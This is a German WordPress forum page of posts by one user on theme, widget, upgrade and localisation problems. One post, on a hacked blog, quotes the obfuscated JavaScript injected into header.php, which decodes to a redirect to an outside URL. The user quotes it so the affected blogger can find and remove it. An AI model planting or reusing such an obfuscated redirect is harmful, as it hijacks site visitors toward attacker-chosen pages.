Beiträge von codestyling

  • Bei <more tag> auf Artikelseite automatisch Banner setzen

    Könnte man auch mit einem Javascript am Ende des Body machen, das nach so was wie

    Code
    <span id="more-48"></span>


    sucht. Mit prototype (oder jQuery) kann man sich alle span suchen lassen und dann die nehmen deren id mit "more-" anfängt und in den innerHTML des span dann das Banner als <a> reinschreiben lassen. Geht auch mit Adsences, wenn es sein muß und nix ist dann doppelt, weil es erst im Browser gebaut wird.

  • Theme Kopfwechsel

    ... geb ich meinen Senf auch noch dazu, ich würd mal eine anderes Wort in den Raum werfen: blass.
    Die Farbgebung ist für TFT's nicht sonderlich gut geeignet (eben viel zu blass). Besonders auf 22' oder 24' mit >= 1680 Pixel Breite (mein unterstes Breitenlevel). Für sehbehinderte ein Graus. Zu grün / blau Anmerkungen sag ich nix, Geschmack liegt im Auge des Betrachters.
    Aufteilung und Text- Zeilenabstände sind aber ok.

  • Wordpress gehackt und Umleitung eingebaut

    Schau in deine header.php und wirf das raus, ist eine Javascript Weiterleitung:

    Code
    <SCRIPT LANGUAGE="JavaScript">
<!--
function Decode(){var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!62!32!119!105!110!100!111!119!46!108!111!99!97!116!105!111!110!61!34!104!116!116!112!58!47!47!120!114!108!46!117!115!47!107!107!51!119!54!34!32!60!47!115!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//-->
</SCRIPT><SCRIPT LANGUAGE="JavaScript">
<!--
Decode();
//-->
</SCRIPT>

    Teste danach ob der Blog wieder geht und dann sag Bescheid, dann sehen wir weiter.

    PS: Avira meint bei ausgeschaltetem Javascript im Fox -> HTML/crypted.gen gefunden.

  • "Fehlermeldung" nach Upgrade von 2.3.3 auf 2.5

    Zitat von Ammaletu

    Der Fehler ist in der WordPress-Bug-Datenbank beschrieben: #6532 (Warning: The first argument should be an array in /www/lu22radiotandil.com.ar/htdocs/wp-includes/widgets.php on line 654) - WordPress Trac - Trac

    So ganz bin ich daraus noch nicht schlau geworden. Aber es sieht so aus, dass das mit den kaputten Umlauten zusammenhängt. Also erstmal schauen, dass die Einstellungen zu den Encodings stimmen. Wenn das wieder geht, müssen wohl die Einträge in den Optionen entfernt werden, welche Text-Widgets darstellen. So beschreibt es zumindest einer der Poster im Trac-Eintrag. Keine Ahnung, ob das hinkommt.

    Hm, wenn das tatsächlich so ist, kann ja vielleicht jemand ein Erste-Hilfe-Plugin basteln?! :-)

    EDIT: Im WordPress-Forum sind auch noch Widget-Probleme beschrieben, vielleicht hilft das ja auch weiter: WordPress › Support » WP 2.5 widgets are broken

    Ich hab mir das alles man angesehen und in der Tat sieht es so aus, des es beim Auspacken der TextWidget Inhalte (unserialize() PHP Funktion) mehrere Probleme zu geben scheint:

    Einerseits wird in Trac beschrieben, das es bei nicht Übereinstimmung von collations (DB und Tabelle in der der Text ist) einfach null zurückgibt und kein Array (was die Fehlermeldungen erklären würde, null ist kein Array).
    Dies kann dadurch passieren, das eine "alte" WP Version noch in ISO lief, die neue aber jetzt auf UTF-8 konfiguriert wurde ohne die DB auch auf UTF-8 collations zu bringen.

    Zum anderen wird im PHP Kommentarthread davon berichtet, das ein Auspacken (unsierialize) von Texten, die einfache Hochkomma enthalten Beispiel: a:4:{i:0;s:43:"Date_Format(dateEntree,'%Y%m%d')";} ebenfalls zu keinem Array führen. PHP: unserialize - Manual
    Das führt dann beim Auspacken zum gleichen Fehler.

    Die Widget Problematik scheint sich am besten lösen zu lassen, wenn man die Textwidgets in der DB löscht, die DB auf unicode collation bringt und wieder neu einpflegt.

  • Install Fehler WP 2.6

    Wenn das wirklich so in deiner index.php vorn dransteht, dann ja. Aber ich befürchte, dass dass irgendetetwas automatisch dranbaut (Plugin) oder beim FTP Upload etwas in die Hose gegangen ist.
    Der Seitenausschnitt ist der angezeigte Seitenquelltext deiner weißen Seite. Schau dir im Browser den Quelltext an, dann siehst du das.

  • WordPress Roadmap wurde verändert!

    Wie hier zu sehen ist Roadmap - WordPress Trac - Trac, sind sämtliche WP 2.5.1, die bisherige, geplante WP 2.5.2 und sogar die aktuelle WP 2.6 aus er Roadmap verschwunden (completet) ! Mir fiel das auf, als ich den Status eines von mir für WP 2.5.1 und WP 2.6 gemeldeten Bugs überprüfen wollte (gettext Problematik) und bitter feststellen musste, das dieser auf Version [COLOR=Red]2.9[/COLOR]! vertagt wurde.

    Im Moment weiss ich nicht, was ich von dieser Roadmap halten soll, wenn alle offenen Patches < 2.6.1 nicht mehr aufgeführt werden oder 3 Versionen nach oben verlegt werden. Hat jemand von euch nähere Infos ?

  • Install Fehler WP 2.6

    Das sind 2 Seiten in einer ! Vorn dran ist ein TinyMCE Plugin Dialog, deshalb auch die Beschriftungen, die du meintest. Das wird dort so gemacht.
    Und dahinter kommt sofort dein Blog html (nicht mehr rot markiert).

    Ist mir unklar, warum hier ein TinyMCE Plugin Seite noch vor die eigentliche Seite gequetscht wird.

    Eine Vemutung. Benutzt du WP Super Edit Plugin als TinyMCE Erweiterung ? Dies geht nicht mehr in WP 2.6 !

  • Datum wird nur einmal angezeigt!

    Zitat von jottlieb

    Es wäre halt einfacher, gleich the_time() zu nehmen, dann braucht man solche Verrenkungen nicht ;)


    Nicht ganz, denn wenn ich bestehende Themes oder Plugins weiterhin an das DB Feld date_format koppeln will ohne einen Formatter angeben zu müssen, dann wirds hier auf den time_format abgebildet, der nicht zwangsläufig so definiert sein muß, wie der für Date:

    PHP
    function get_the_time( $d = '' ) {
    if ( '' == $d )
        $the_time = get_post_time(get_option('time_format'));
    else
        $the_time = get_post_time($d);
    return apply_filters('get_the_time', $the_time, $d);
}

    Wenn man hart codierte oder *.mo basierte Formatter nehmen will/kann, ist dein Einwand berechtigt, wenn man das aber von den Optionen abhängig machen will, die man einstellen kann, geht dein Einwand nach hinten los.

  • Gears?

    Gears klingt erstmal sehr gut, aber die Bauchschmerzen, die ich damit habe:

    1. Man findet Fehler nicht mehr, wenn mal WP "spinnt".
    2. Wann weiss ich, was wie synchronisiert ist, wenn der Browser "verreckt" ?
    3. Wann ist ein Pluginupdate (JS/CSS Änderung) wirksam, wenn man die macht (machen muß).

    Bei den vielen Problemen, wie "Hilfe, mein Editor ist kaputt" , "Warum gehen meine Permalinks nicht" oder "Mein Text, den ich eingebe, wir verstümmelt" kann man dann nicht mehr genau nachvollziehen, wo der Fehler auftritt. Support wird dann nur noch zu Hinweisen degradiert, es sei denn, man kann auf der betroffen Machine selbst mal mit WP Admin Rechten prüfen.

    Also wird durch Einsatz von Gears der qualifizierte Support, der in so einem Forum möglich ist, deutlich eingeschränkt. Und es wird nicht lange dauern, dann quellen hier die Gears bezogenen Probleme massenweise hoch.

  • Sitemap - teilweise Anzeige des Headers der Sprachdatei

    Ergänzung: Wenn in deinem Theme (vermute man sitemap.php) irgendwo so was steht, wie:

    PHP
    _e('');
_e('','irgend eine textdomain');
echo __('');
echo __('', 'irgend eine textdomain');


    dann bekommst die diese Informationen augespuckt, denn diese sind auf einem leeren String Eintrag in der Sprachdatei gemappt. Wenn du nix dergleichen hast, dann ist das ein übles memory corruption Problem!